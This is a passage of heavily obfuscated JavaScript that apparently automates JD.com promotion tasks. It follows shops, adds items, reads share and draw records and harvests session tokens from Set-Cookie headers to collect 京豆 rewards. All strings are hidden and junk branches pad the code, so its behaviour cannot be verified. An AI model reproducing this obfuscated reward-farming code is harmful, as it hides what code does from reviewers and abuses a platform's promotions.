_0x44d4be[_0x5a05('b3')](getShareRecord);$[_0x5a05('7')]($[_0x5a05('3b')]);$[_0x5a05('7')](_0x44d4be[_0x5a05('b2')](_0x44d4be[_0x5a05('b4')],$[_0x5a05('2b')]));if(_0x44d4be[_0x5a05('8c')]($[_0x5a05('36')],0x1)){if(_0x44d4be[_0x5a05('8c')](_0x44d4be[_0x5a05('b5')],_0x44d4be[_0x5a05('b5')])){if($[_0x5a05('3b')]){if(_0x44d4be[_0x5a05('8c')](_0x44d4be[_0x5a05('b6')],_0x44d4be[_0x5a05('b7')])){console[_0x5a05('7')](data);}else{$[_0x5a05('2b')]=$[_0x5a05('3b')];console[_0x5a05('7')](_0x5a05('b8')+$[_0x5a05('2b')]);}}else{console[_0x5a05('7')](_0x44d4be[_0x5a05('b9')]);return;}}else{if(_0x44d4be[_0x5a05('83')](typeof setcookies,_0x44d4be[_0x5a05('80')])){setcookie=setcookies[_0x5a05('68')](',');}else setcookie=setcookies;for(let _0x40dbe7 of setcookie){let _0x45cdce=_0x40dbe7[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x45cdce[_0x5a05('68')]('=')[0x1]){if(_0x44d4be[_0x5a05('ba')](_0x45cdce[_0x5a05('6b')](_0x44d4be[_0x5a05('bb')]),-0x1))lz_jdpin_token=_0x44d4be[_0x5a05('70')](_0x45cdce[_0x5a05('6e')](/ /g,''),';');if(_0x44d4be[_0x5a05('bc')](_0x45cdce[_0x5a05('6b')](_0x44d4be[_0x5a05('6c')]),-0x1))LZ_TOKEN_KEY=_0x44d4be[_0x5a05('70')](_0x45cdce[_0x5a05('6e')](/ /g,''),';');if(_0x44d4be[_0x5a05('bc')](_0x45cdce[_0x5a05('6b')](_0x44d4be[_0x5a05('6f')]),-0x1))LZ_TOKEN_VALUE=_0x44d4be[_0x5a05('70')](_0x45cdce[_0x5a05('6e')](/ /g,''),';');}}}}await $[_0x5a05('91')](_0x44d4be[_0x5a05('b1')](parseInt,_0x44d4be[_0x5a05('b2')](_0x44d4be[_0x5a05('bd')](Math[_0x5a05('9a')](),0x3e8),0x3e8),0xa));if(!$[_0x5a05('a9')])await $[_0x5a05('91')](_0x44d4be[_0x5a05('be')](parseInt,_0x44d4be[_0x5a05('b2')](_0x44d4be[_0x5a05('bf')](Math[_0x5a05('9a')](),0x3e8),0x2710),0xa));}else{$[_0x5a05('3f')](e,resp);}}catch(_0x52117d){if(_0x44d4be[_0x5a05('c0')](_0x44d4be[_0x5a05('c1')],_0x44d4be[_0x5a05('c2')])){let _0x3577a3='';if(res[_0x5a05('82')][_0x5a05('c3')]){_0x3577a3=res[_0x5a05('82')][_0x5a05('c3')]+'京豆';}if(res[_0x5a05('82')][_0x5a05('c4')]&&res[_0x5a05('82')][_0x5a05('c5')]){_0x3577a3+=_0x5a05('c6')+res[_0x5a05('82')][_0x5a05('c4')]+'京豆';}console[_0x5a05('7')](_0x5a05('c7')+_0x44d4be[_0x5a05('c8')](_0x3577a3,_0x44d4be[_0x5a05('c9')]));}else{console[_0x5a05('7')](_0x52117d);}}}function getDrawRecordHasCoupon(){var _0x5a01b2={'LBMDH':function(_0x3f4dd4,_0x5eec60){return _0x3f4dd4!==_0x5eec60;},'qScSU':_0x5a05('44'),'YSLBY':_0x5a05('4b'),'ifvum':_0x5a05('ca'),'BBpaO':_0x5a05('cb'),'Fucsm':_0x5a05('cc'),'qzEfb':function(_0x414e10,_0x2824cf){return _0x414e10===_0x2824cf;},'XBftS':_0x5a05('cd'),'RRaNY':function(_0x53cdd5,_0xf1433a){return _0x53cdd5==_0xf1433a;},'pCjJW':_0x5a05('ce'),'urdhM':_0x5a05('cf'),'iipNb':_0x5a05('d0'),'HhHjR':function(_0x3d062d,_0x4aec5d){return _0x3d062d!=_0x4aec5d;},'LvxQq':function(_0xf1a573,_0x12cbe2){return _0xf1a573+_0x12cbe2;},'juxps':function(_0x419933,_0x1190c4){return _0x419933>_0x1190c4;},'BRtOQ':function(_0x1a9db5,_0xfd761e){return _0x1a9db5*_0xfd761e;},'yUjrz':function(_0x5c7966,_0x22325a,_0x3cffb1){return _0x5c7966(_0x22325a,_0x3cffb1);},'eHmbd':function(_0x4780f7,_0x2a4bb0){return _0x4780f7==_0x2a4bb0;},'hdLQP':function(_0x3216a0,_0x324924){return _0x3216a0===_0x324924;},'MYDES':_0x5a05('d1'),'YHYdF':_0x5a05('d2'),'gYMTg':_0x5a05('d3'),'mQQxV':function(_0x3212e1){return _0x3212e1();},'CDCbI':_0x5a05('d4'),'exHBB':_0x5a05('d5'),'OUuMS':_0x5a05('d6'),'kmPIG':function(_0x27e76f,_0xc7e138){return _0x27e76f*_0xc7e138;},'hPGiY':function(_0x5850ea,_0xf57613){return _0x5850ea==_0xf57613;},'xnItn':function(_0x54c524,_0x328f79){return _0x54c524!=_0x328f79;},'UQtpV':function(_0x3c2d1f,_0x83c13b){return _0x3c2d1f!=_0x83c13b;},'sqCVK':function(_0x1a9270,_0x4be076,_0xc4259f){return _0x1a9270(_0x4be076,_0xc4259f);},'gjTaV':function(_0x556af7,_0x2cc27c){return _0x556af7(_0x2cc27c);},'FBOiP':_0x5a05('d7')};return new Promise(_0x105a07=>{var _0xfea610={'iLnkE':_0x5a01b2[_0x5a05('d8')],'iofix':_0x5a01b2[_0x5a05('d9')],'KBVgx':_0x5a01b2[_0x5a05('da')],'NRpug':function(_0xdf801b,_0x1ca03e){return _0x5a01b2[_0x5a05('db')](_0xdf801b,_0x1ca03e);},'ToOnq':function(_0x5df3c0,_0x3cee98){return _0x5a01b2[_0x5a05('dc')](_0x5df3c0,_0x3cee98);},'KfABE':function(_0x30e858,_0x3f9663){return _0x5a01b2[_0x5a05('dc')](_0x30e858,_0x3f9663);},'lXXeX':function(_0x40319e,_0x4037a5){return _0x5a01b2[_0x5a05('dd')](_0x40319e,_0x4037a5);},'vwOkJ':function(_0x1b2518,_0x5110f9){return _0x5a01b2[_0x5a05('dd')](_0x1b2518,_0x5110f9);},'pgQIs':_0x5a01b2[_0x5a05('de')],'uXxAu':function(_0x741fa5,_0x471392){return _0x5a01b2[_0x5a05('dd')](_0x741fa5,_0x471392);},'pZnjw':function(_0x1153ac,_0x38cb20){return _0x5a01b2[_0x5a05('df')](_0x1153ac,_0x38cb20);},'CDtQn':function(_0x5b4ffd,_0x34653b){return _0x5a01b2[_0x5a05('e0')](_0x5b4ffd,_0x34653b);},'mMyBN':function(_0x305646,_0x4000d7){return _0x5a01b2[_0x5a05('e1')](_0x305646,_0x4000d7);},'fGIYm':function(_0x24c46b,_0x17f06f){return _0x5a01b2[_0x5a05('e2')](_0x24c46b,_0x17f06f);},'KDRxO':function(_0x379505,_0x2861de,_0x26c672){return _0x5a01b2[_0x5a05('e3')](_0x379505,_0x2861de,_0x26c672);}};let _0x15bac9=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('e6')+_0x5a01b2[_0x5a05('e7')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('e8');$[_0x5a05('e9')](_0x5a01b2[_0x5a05('e3')](taskPostUrl,_0x5a01b2[_0x5a05('ea')],_0x15bac9),async(_0x2a9c83,_0x29283c,_0x496cb4)=>{var _0x4bb53f={'BLTpj':function(_0x144809,_0x26d07a){return _0x5a01b2[_0x5a05('eb')](_0x144809,_0x26d07a);},'TcHiV':_0x5a01b2[_0x5a05('ec')],'AyDmG':_0x5a01b2[_0x5a05('ed')]};if(_0x5a01b2[_0x5a05('eb')](_0x5a01b2[_0x5a05('ee')],_0x5a01b2[_0x5a05('ef')])){try{if(_0x2a9c83){if(_0x5a01b2[_0x5a05('eb')](_0x5a01b2[_0x5a05('f0')],_0x5a01b2[_0x5a05('f0')])){console[_0x5a05('7')](_0x496cb4);}else{console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x2a9c83));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}}else{if(_0x5a01b2[_0x5a05('f3')](_0x5a01b2[_0x5a05('f4')],_0x5a01b2[_0x5a05('f4')])){res=$[_0x5a05('7e')](_0x496cb4);if(_0x5a01b2[_0x5a05('f5')](typeof res,_0x5a01b2[_0x5a05('ec')])){if(_0x5a01b2[_0x5a05('f3')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){if(_0x5a01b2[_0x5a05('f3')](_0x5a01b2[_0x5a05('f6')],_0x5a01b2[_0x5a05('f7')])){res=$[_0x5a05('7e')](_0x496cb4);if(_0x4bb53f[_0x5a05('f8')](typeof res,_0x4bb53f[_0x5a05('f9')])){console[_0x5a05('7')](_0x496cb4);}}else{console[_0x5a05('7')](_0x5a05('fa'));let _0x2b7fc2=0x0;let _0x1dcde8=0x0;for(let _0x34c720 in res[_0x5a05('82')]){let _0x50c415=res[_0x5a05('82')][_0x34c720];if(_0x5a01b2[_0x5a05('f5')](_0x50c415[_0x5a05('97')],_0x5a01b2[_0x5a05('de')]))_0x2b7fc2++;if(_0x5a01b2[_0x5a05('f5')](_0x50c415[_0x5a05('97')],_0x5a01b2[_0x5a05('de')]))_0x1dcde8=_0x50c415[_0x5a05('fb')][_0x5a05('6e')]('京豆','');if(_0x5a01b2[_0x5a05('fc')](_0x50c415[_0x5a05('97')],_0x5a01b2[_0x5a05('de')]))console[_0x5a05('7')](''+(_0x5a01b2[_0x5a05('fc')](_0x50c415[_0x5a05('fd')],0xa)&&_0x5a01b2[_0x5a05('e1')](_0x50c415[_0x5a05('97')],':')||'')+_0x50c415[_0x5a05('fb')]);}if(_0x5a01b2[_0x5a05('e2')](_0x2b7fc2,0x0))console[_0x5a05('7')](_0x5a05('fe')+_0x2b7fc2+'):'+(_0x5a01b2[_0x5a05('ff')](_0x2b7fc2,_0x5a01b2[_0x5a05('100')](parseInt,_0x1dcde8,0xa))||0x1e)+'京豆');}}else if(_0x5a01b2[_0x5a05('dc')](typeof res,_0x5a01b2[_0x5a05('ec')])&&res[_0x5a05('87')]){if(_0x5a01b2[_0x5a05('101')](_0x5a01b2[_0x5a05('102')],_0x5a01b2[_0x5a05('103')])){let _0x59f12c=[$[_0x5a05('2b')],_0xfea610[_0x5a05('104')],_0xfea610[_0x5a05('105')],_0xfea610[_0x5a05('106')]];let _0xd234e3=Math[_0x5a05('107')](_0xfea610[_0x5a05('108')](Math[_0x5a05('9a')](),0xa));let _0x9417eb=0x0;if(_0xfea610[_0x5a05('109')](_0xd234e3,0x1))_0x9417eb=0x1;if(_0xfea610[_0x5a05('10a')](_0xd234e3,0x2))_0x9417eb=0x2;if(_0xfea610[_0x5a05('10b')](_0xd234e3,0x3))_0x9417eb=0x3;$[_0x5a05('2b')]=_0x59f12c[_0x9417eb]?_0x59f12c[_0x9417eb]:$[_0x5a05('2b')];}else{console[_0x5a05('7')](_0x5a05('10c')+(res[_0x5a05('87')]||''));}}else{console[_0x5a05('7')](_0x496cb4);}}else{if(_0x5a01b2[_0x5a05('eb')](_0x5a01b2[_0x5a05('10d')],_0x5a01b2[_0x5a05('10d')])){console[_0x5a05('7')](_0x4bb53f[_0x5a05('10e')]);$[_0x5a05('13')]=!![];}else{console[_0x5a05('7')](_0x496cb4);}}}else{setcookie=setcookies[_0x5a05('68')](',');}}}catch(_0x46d8cc){$[_0x5a05('3f')](_0x46d8cc,_0x29283c);}finally{_0x5a01b2[_0x5a05('10f')](_0x105a07);}}else{console[_0x5a05('7')](_0x5a05('fa'));let _0x4f55ef=0x0;let _0x225f21=0x0;for(let _0xe9e21 in res[_0x5a05('82')]){let _0x5db68b=res[_0x5a05('82')][_0xe9e21];if(_0xfea610[_0x5a05('110')](_0x5db68b[_0x5a05('97')],_0xfea610[_0x5a05('111')]))_0x4f55ef++;if(_0xfea610[_0x5a05('112')](_0x5db68b[_0x5a05('97')],_0xfea610[_0x5a05('111')]))_0x225f21=_0x5db68b[_0x5a05('fb')][_0x5a05('6e')]('京豆','');if(_0xfea610[_0x5a05('113')](_0x5db68b[_0x5a05('97')],_0xfea610[_0x5a05('111')]))console[_0x5a05('7')](''+(_0xfea610[_0x5a05('114')](_0x5db68b[_0x5a05('fd')],0xa)&&_0xfea610[_0x5a05('115')](_0x5db68b[_0x5a05('97')],':')||'')+_0x5db68b[_0x5a05('fb')]);}if(_0xfea610[_0x5a05('116')](_0x4f55ef,0x0))console[_0x5a05('7')](_0x5a05('fe')+_0x4f55ef+'):'+(_0xfea610[_0x5a05('108')](_0x4f55ef,_0xfea610[_0x5a05('117')](parseInt,_0x225f21,0xa))||0x1e)+'京豆');}});});}function getShareRecord(){var _0x45d04f={'FyOkP':function(_0x940ff4,_0x330555){return _0x940ff4==_0x330555;},'vbKnI':function(_0x2f608d,_0x2bc52f){return _0x2f608d===_0x2bc52f;},'vHtoO':_0x5a05('118'),'zSNcA':_0x5a05('119'),'pxTXL':_0x5a05('44'),'XOYEz':_0x5a05('11a'),'EEKBF':_0x5a05('11b'),'fKsFT':function(_0x45056f,_0x537630){return _0x45056f!==_0x537630;},'gAuyb':_0x5a05('11c'),'ZbMsg':_0x5a05('11d'),'nfOZy':_0x5a05('11e'),'EOzTv':function(_0x54a5b3){return _0x54a5b3();},'hePdV':function(_0x51a8c4,_0x3e51b3){return _0x51a8c4!=_0x3e51b3;},'timYa':_0x5a05('45'),'GMvsY':function(_0x28fd0f,_0x14d268){return _0x28fd0f!=_0x14d268;},'bcrRY':function(_0x2bc683,_0x234c52){return _0x2bc683(_0x234c52);},'pilTR':function(_0x2a0caa,_0x510f8c,_0x2d03c5){return _0x2a0caa(_0x510f8c,_0x2d03c5);},'vkMcK':_0x5a05('11f')};return new Promise(_0x2e8807=>{var _0x396b50={'jLuQc':function(_0x52b3e2,_0x235605){return _0x45d04f[_0x5a05('120')](_0x52b3e2,_0x235605);},'gzUlD':_0x45d04f[_0x5a05('121')],'gmiMD':function(_0x91acd5,_0xa685ac){return _0x45d04f[_0x5a05('120')](_0x91acd5,_0xa685ac);},'XEcGh':function(_0x4f7044,_0x3037ea){return _0x45d04f[_0x5a05('122')](_0x4f7044,_0x3037ea);}};let _0x1cad70=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('e6')+_0x45d04f[_0x5a05('123')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('e8');$[_0x5a05('e9')](_0x45d04f[_0x5a05('124')](taskPostUrl,_0x45d04f[_0x5a05('125')],_0x1cad70),async(_0x3d2e8b,_0x405f13,_0x19d7de)=>{var _0x4c6545={'JvxzD':function(_0x51012c,_0x2832a5){return _0x45d04f[_0x5a05('126')](_0x51012c,_0x2832a5);}};try{if(_0x45d04f[_0x5a05('127')](_0x45d04f[_0x5a05('128')],_0x45d04f[_0x5a05('128')])){if(_0x3d2e8b){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x3d2e8b));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{if(_0x45d04f[_0x5a05('127')](_0x45d04f[_0x5a05('129')],_0x45d04f[_0x5a05('129')])){res=$[_0x5a05('7e')](_0x19d7de);if(_0x45d04f[_0x5a05('126')](typeof res,_0x45d04f[_0x5a05('12a')])){if(_0x45d04f[_0x5a05('127')](_0x45d04f[_0x5a05('12b')],_0x45d04f[_0x5a05('12c')])){setcookie=setcookies[_0x5a05('68')](',');}else{if(_0x45d04f[_0x5a05('127')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){if(_0x45d04f[_0x5a05('12d')](_0x45d04f[_0x5a05('12e')],_0x45d04f[_0x5a05('12e')])){console[_0x5a05('7')](_0x5a05('12f')+i[_0x5a05('130')]+i[_0x5a05('131')]+i[_0x5a05('132')]);}else{$[_0x5a05('7')](_0x5a05('133')+res[_0x5a05('82')][_0x5a05('32')]+'个');}}else if(_0x45d04f[_0x5a05('126')](typeof res,_0x45d04f[_0x5a05('12a')])&&res[_0x5a05('87')]){if(_0x45d04f[_0x5a05('12d')](_0x45d04f[_0x5a05('134')],_0x45d04f[_0x5a05('135')])){console[_0x5a05('7')](''+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x19d7de);}}else{console[_0x5a05('7')](_0x19d7de);}}}else{console[_0x5a05('7')](_0x19d7de);}}else{_0x19d7de=JSON[_0x5a05('136')](_0x19d7de);if(_0x4c6545[_0x5a05('137')](_0x19d7de[_0x5a05('138')],!![])){$[_0x5a05('139')]=_0x19d7de[_0x5a05('81')][_0x5a05('13a')]&&_0x19d7de[_0x5a05('81')][_0x5a05('13a')][0x0]&&_0x19d7de[_0x5a05('81')][_0x5a05('13a')][0x0][_0x5a05('13b')]&&_0x19d7de[_0x5a05('81')][_0x5a05('13a')][0x0][_0x5a05('13b')][_0x5a05('2d')]||'';}}}}else{if(_0x396b50[_0x5a05('13c')](typeof res[_0x5a05('82')][_0x5a05('a9')][_0x5a05('13d')],_0x396b50[_0x5a05('13e')]))$[_0x5a05('a9')]=res[_0x5a05('82')][_0x5a05('a9')][_0x5a05('13d')];if(_0x396b50[_0x5a05('13f')](typeof res[_0x5a05('82')][_0x5a05('ad')][_0x5a05('13d')],_0x396b50[_0x5a05('13e')]))$[_0x5a05('ad')]=res[_0x5a05('82')][_0x5a05('ad')][_0x5a05('13d')];if(_0x396b50[_0x5a05('140')](typeof res[_0x5a05('82')][_0x5a05('3b')],_0x396b50[_0x5a05('13e')]))$[_0x5a05('3b')]=res[_0x5a05('82')][_0x5a05('3b')];}}catch(_0x24a8fa){$[_0x5a05('3f')](_0x24a8fa,_0x405f13);}finally{_0x45d04f[_0x5a05('141')](_0x2e8807);}});});}function addSku(){var _0x5e97f8={'tjMcE':function(_0x319953,_0x172936){return _0x319953>_0x172936;},'rnFcR':_0x5a05('47'),'wyPRb':function(_0x17e5ef,_0x282a28){return _0x17e5ef+_0x282a28;},'AHtYv':function(_0x51980f,_0x178bcd){return _0x51980f>_0x178bcd;},'yyfTh':_0x5a05('42'),'ScjWJ':function(_0x393805,_0x107fe2){return _0x393805+_0x107fe2;},'QFJHt':_0x5a05('43'),'sORFQ':function(_0x455ceb,_0x17d248){return _0x455ceb+_0x17d248;},'rkrnS':function(_0x1dd62f,_0xebdd1b){return _0x1dd62f!==_0xebdd1b;},'MIyjY':_0x5a05('142'),'cdDsX':function(_0x151bf8,_0x5e040f){return _0x151bf8==_0x5e040f;},'FWxFW':_0x5a05('4b'),'hqgCk':_0x5a05('44'),'lmWje':function(_0x2a0802,_0x21e128){return _0x2a0802===_0x21e128;},'ruoce':function(_0x595f7a,_0x261376){return _0x595f7a||_0x261376;},'bCxyR':_0x5a05('48'),'JZFts':function(_0x1163c5){return _0x1163c5();},'sVftl':function(_0x5d3433,_0x1b9070){return _0x5d3433(_0x1b9070);},'BWAgv':function(_0x3b52b7,_0x58cbf4,_0x18d198){return _0x3b52b7(_0x58cbf4,_0x18d198);},'xXCgs':_0x5a05('143')};return new Promise(_0x1e37ab=>{let _0x137366=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e6')+_0x5e97f8[_0x5a05('144')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('145');$[_0x5a05('e9')](_0x5e97f8[_0x5a05('146')](taskPostUrl,_0x5e97f8[_0x5a05('147')],_0x137366),async(_0x10818a,_0x5bdbe2,_0x459fff)=>{var _0x54847f={'RKqAG':function(_0x3c0b2a,_0x3f33c8){return _0x5e97f8[_0x5a05('148')](_0x3c0b2a,_0x3f33c8);},'VORwv':_0x5e97f8[_0x5a05('149')],'fDDjf':function(_0x47080a,_0x274476){return _0x5e97f8[_0x5a05('14a')](_0x47080a,_0x274476);},'MmpAk':function(_0x3006aa,_0x5c83b5){return _0x5e97f8[_0x5a05('14b')](_0x3006aa,_0x5c83b5);},'ViJzw':_0x5e97f8[_0x5a05('14c')],'TguZN':function(_0x42d9d0,_0x3d164f){return _0x5e97f8[_0x5a05('14d')](_0x42d9d0,_0x3d164f);},'uchVk':_0x5e97f8[_0x5a05('14e')],'CiGXe':function(_0x4055e4,_0x2f1f3e){return _0x5e97f8[_0x5a05('14f')](_0x4055e4,_0x2f1f3e);}};try{if(_0x10818a){if(_0x5e97f8[_0x5a05('150')](_0x5e97f8[_0x5a05('151')],_0x5e97f8[_0x5a05('151')])){let _0x2c69f1=ck[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x2c69f1[_0x5a05('68')]('=')[0x1]){if(_0x54847f[_0x5a05('152')](_0x2c69f1[_0x5a05('6b')](_0x54847f[_0x5a05('153')]),-0x1))lz_jdpin_token=_0x54847f[_0x5a05('154')](_0x2c69f1[_0x5a05('6e')](/ /g,''),';');if(_0x54847f[_0x5a05('155')](_0x2c69f1[_0x5a05('6b')](_0x54847f[_0x5a05('156')]),-0x1))LZ_TOKEN_KEY=_0x54847f[_0x5a05('157')](_0x2c69f1[_0x5a05('6e')](/ /g,''),';');if(_0x54847f[_0x5a05('155')](_0x2c69f1[_0x5a05('6b')](_0x54847f[_0x5a05('158')]),-0x1))LZ_TOKEN_VALUE=_0x54847f[_0x5a05('159')](_0x2c69f1[_0x5a05('6e')](/ /g,''),';');}}else{if(_0x5bdbe2[_0x5a05('15a')]&&_0x5e97f8[_0x5a05('15b')](_0x5bdbe2[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x5e97f8[_0x5a05('15c')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x10818a));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}}else{res=$[_0x5a05('7e')](_0x459fff);if(_0x5e97f8[_0x5a05('15b')](typeof res,_0x5e97f8[_0x5a05('15d')])){if(_0x5e97f8[_0x5a05('15e')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){let _0x187548='';if(res[_0x5a05('82')][_0x5a05('c3')]){_0x187548=res[_0x5a05('82')][_0x5a05('c3')]+'京豆';}console[_0x5a05('7')](_0x5a05('15f')+_0x5e97f8[_0x5a05('160')](_0x187548,_0x5e97f8[_0x5a05('161')]));}else if(_0x5e97f8[_0x5a05('15b')](typeof res,_0x5e97f8[_0x5a05('15d')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('162')+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x459fff);}}else{console[_0x5a05('7')](_0x459fff);}}}catch(_0x50943a){$[_0x5a05('3f')](_0x50943a,_0x5bdbe2);}finally{_0x5e97f8[_0x5a05('163')](_0x1e37ab);}});});}function followShop(){var _0x26c3c4={'RzyJR':_0x5a05('4b'),'PvMFT':function(_0xc333c5,_0x506f33){return _0xc333c5==_0x506f33;},'lyfAV':_0x5a05('44'),'TxeGb':function(_0x46175a,_0x4139f6){return _0x46175a!=_0x4139f6;},'eUCPa':_0x5a05('45'),'PAhSE':function(_0x3378e1,_0x2d662b){return _0x3378e1==_0x2d662b;},'DhUFF':function(_0x2244a2,_0x55b8c2){return _0x2244a2!==_0x55b8c2;},'gbRMW':_0x5a05('164'),'DnVSV':_0x5a05('165'),'WxGrL':_0x5a05('166'),'sZrXv':_0x5a05('167'),'lKCcS':function(_0x2c0e9a,_0x1243dc){return _0x2c0e9a!==_0x1243dc;},'SSAmf':_0x5a05('168'),'kgRzv':function(_0x15bb61,_0xb4148a){return _0x15bb61===_0xb4148a;},'oPVrY':_0x5a05('169'),'vldbJ':function(_0x18e429,_0x2043a7){return _0x18e429!==_0x2043a7;},'kMWdM':_0x5a05('16a'),'iLvqs':function(_0x3a5c20,_0x54b896){return _0x3a5c20||_0x54b896;},'dJNCS':_0x5a05('48'),'fWqvF':_0x5a05('16b'),'vSxIh':_0x5a05('16c'),'Esxuw':_0x5a05('16d'),'rJZGh':function(_0x5dba48){return _0x5dba48();},'QSlEf':function(_0x3e5ffa,_0x419ab9){return _0x3e5ffa>_0x419ab9;},'NGoMq':_0x5a05('42'),'CCoil':function(_0x1c347f,_0x565a1d){return _0x1c347f+_0x565a1d;},'sjrLr':_0x5a05('43'),'EsHfG':function(_0x167a62,_0x26b80b){return _0x167a62(_0x26b80b);},'Iiwsc':function(_0x270a8a,_0x433585,_0x385821){return _0x270a8a(_0x433585,_0x385821);},'HfcxF':_0x5a05('16e')};return new Promise(_0x53b0d6=>{var _0x438845={'aHmYm':function(_0x3fc8cf,_0x4e9189){return _0x26c3c4[_0x5a05('16f')](_0x3fc8cf,_0x4e9189);},'bYijn':_0x26c3c4[_0x5a05('170')],'UVOUe':function(_0x1c5d77,_0x5ce67a){return _0x26c3c4[_0x5a05('171')](_0x1c5d77,_0x5ce67a);},'mqWrP':_0x26c3c4[_0x5a05('172')],'DbkGw':function(_0x2fb811,_0x4efa07){return _0x26c3c4[_0x5a05('173')](_0x2fb811,_0x4efa07);},'CMAOm':function(_0x1b1d4b,_0x11cd63){return _0x26c3c4[_0x5a05('171')](_0x1b1d4b,_0x11cd63);},'neYgS':_0x26c3c4[_0x5a05('174')],'daCXN':function(_0x4eff1b){return _0x26c3c4[_0x5a05('175')](_0x4eff1b);}};let _0x3071de=_0x5a05('e4')+$[_0x5a05('2d')]+_0x5a05('e6')+_0x26c3c4[_0x5a05('176')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('e5')+$[_0x5a05('3b')]+_0x5a05('30')+$[_0x5a05('2b')]+_0x5a05('177');$[_0x5a05('e9')](_0x26c3c4[_0x5a05('178')](taskPostUrl,_0x26c3c4[_0x5a05('179')],_0x3071de),async(_0xa253d,_0xd5a93,_0x593ace)=>{var _0x46259f={'dspgb':_0x26c3c4[_0x5a05('17a')],'admsl':function(_0x1e1e22,_0x56b92a){return _0x26c3c4[_0x5a05('17b')](_0x1e1e22,_0x56b92a);},'TrVwA':_0x26c3c4[_0x5a05('170')],'lQYIB':function(_0x47c289,_0x55ce9a){return _0x26c3c4[_0x5a05('16f')](_0x47c289,_0x55ce9a);},'SDxMT':_0x26c3c4[_0x5a05('17c')],'GuhDj':function(_0x58af0c,_0x105c90){return _0x26c3c4[_0x5a05('17d')](_0x58af0c,_0x105c90);},'mnOZY':function(_0x128f64,_0x3daf5a){return _0x26c3c4[_0x5a05('17d')](_0x128f64,_0x3daf5a);}};try{if(_0x26c3c4[_0x5a05('17e')](_0x26c3c4[_0x5a05('17f')],_0x26c3c4[_0x5a05('180')])){if(_0xa253d){if(_0xd5a93[_0x5a05('15a')]&&_0x26c3c4[_0x5a05('17d')](_0xd5a93[_0x5a05('15a')],0x1ed)){if(_0x26c3c4[_0x5a05('17e')](_0x26c3c4[_0x5a05('181')],_0x26c3c4[_0x5a05('182')])){console[_0x5a05('7')](_0x26c3c4[_0x5a05('17a')]);$[_0x5a05('13')]=!![];}else{$[_0x5a05('3f')](e,_0xd5a93);}}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0xa253d));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{if(_0x26c3c4[_0x5a05('183')](_0x26c3c4[_0x5a05('184')],_0x26c3c4[_0x5a05('184')])){if(_0x438845[_0x5a05('185')](typeof setcookies,_0x438845[_0x5a05('186')])){setcookie=setcookies[_0x5a05('68')](',');}else setcookie=setcookies;for(let _0x4e4044 of setcookie){let _0x15af67=_0x4e4044[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x15af67[_0x5a05('68')]('=')[0x1]){if(_0x438845[_0x5a05('187')](_0x15af67[_0x5a05('6b')](_0x438845[_0x5a05('188')]),-0x1))LZ_TOKEN_KEY=_0x438845[_0x5a05('189')](_0x15af67[_0x5a05('6e')](/ /g,''),';');if(_0x438845[_0x5a05('18a')](_0x15af67[_0x5a05('6b')](_0x438845[_0x5a05('18b')]),-0x1))LZ_TOKEN_VALUE=_0x438845[_0x5a05('189')](_0x15af67[_0x5a05('6e')](/ /g,''),';');}}}else{res=$[_0x5a05('7e')](_0x593ace);if(_0x26c3c4[_0x5a05('17d')](typeof res,_0x26c3c4[_0x5a05('170')])){if(_0x26c3c4[_0x5a05('18c')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){let _0x24a02f='';if(res[_0x5a05('82')][_0x5a05('c3')]){if(_0x26c3c4[_0x5a05('18c')](_0x26c3c4[_0x5a05('18d')],_0x26c3c4[_0x5a05('18d')])){_0x24a02f=res[_0x5a05('82')][_0x5a05('c3')]+'京豆';}else{console[_0x5a05('7')](_0x46259f[_0x5a05('18e')]);$[_0x5a05('13')]=!![];}}if(res[_0x5a05('82')][_0x5a05('c4')]&&res[_0x5a05('82')][_0x5a05('c5')]){if(_0x26c3c4[_0x5a05('18f')](_0x26c3c4[_0x5a05('190')],_0x26c3c4[_0x5a05('190')])){let _0x48b728=$[_0x5a05('7e')](_0x593ace);if(_0x46259f[_0x5a05('191')](typeof _0x48b728,_0x46259f[_0x5a05('192')])&&_0x46259f[_0x5a05('191')](_0x48b728[_0x5a05('193')],0x0)){if(_0x46259f[_0x5a05('194')](typeof _0x48b728[_0x5a05('195')],_0x46259f[_0x5a05('196')]))$[_0x5a05('61')]=_0x48b728[_0x5a05('195')];}else if(_0x46259f[_0x5a05('197')](typeof _0x48b728,_0x46259f[_0x5a05('192')])&&_0x48b728[_0x5a05('198')]){console[_0x5a05('7')](_0x5a05('199')+(_0x48b728[_0x5a05('198')]||''));}else{console[_0x5a05('7')](_0x593ace);}}else{_0x24a02f+=_0x5a05('c6')+res[_0x5a05('82')][_0x5a05('c4')]+'京豆';}}console[_0x5a05('7')](_0x5a05('c7')+_0x26c3c4[_0x5a05('19a')](_0x24a02f,_0x26c3c4[_0x5a05('19b')]));}else if(_0x26c3c4[_0x5a05('17d')](typeof 